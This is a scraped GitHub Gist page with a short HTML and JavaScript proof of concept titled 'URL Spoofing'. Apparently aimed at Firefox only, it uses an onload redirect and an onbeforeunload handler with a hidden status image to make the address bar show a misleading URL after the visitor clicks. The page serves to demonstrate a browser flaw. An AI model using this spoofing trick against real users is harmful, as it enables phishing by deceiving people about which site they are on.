Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
URL Spoofing
<html lang="en-US">
<meta charset="UTF-8">
<title>URL Spoofing</title>
*{font-family:Mukta,sans-serif;color:#3b3b3b}small{color:gray;font-weight:400;font-style:italic;font-size:16px;margin-top:-20px;display:block;margin-bottom:30px}small strong{font-weight:600;font-size:18px;color:inherit}h2{margin-top:40px;color:#424242}
onload = function() {
location = "/redirect";
onbeforeunload = function() {
document.getElementById("status").src = "/status";
return "";
<h2>Click anywhere on this page and then access a website using the address bar</h2>
<small>Compatible with <strong>Firefox</strong> only</small>
<img id="status" src="" style="visibility: hidden;"></img>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.